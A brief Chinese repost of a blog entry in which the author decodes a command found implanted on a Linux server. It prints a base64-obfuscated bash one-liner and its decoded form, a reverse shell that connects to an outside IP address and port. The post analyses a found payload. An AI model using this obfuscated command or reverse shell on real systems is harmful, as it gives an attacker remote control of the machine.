转载自https://blog.csdn.net/weixin_43861049/article/details/100103497
遇到这样一段植入的命令
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC81Mi4yMzEuMTMuMTE3LzM0NTEyIDA+JjE=}|{base64,-d}|{bash,-i}
[root@localhost ~]# base=$(base64 -d <<< "YmFzaCAtaSA+JiAvZGV2L3RjcC81Mi4yMzEuMTMuMTE3LzM0NTEyIDA+JjE=" )
[root@localhost ~]# echo "$base"
[root@localhost ~]# bash -i >& /dev/tcp/52.231.13.117/34512 0>&1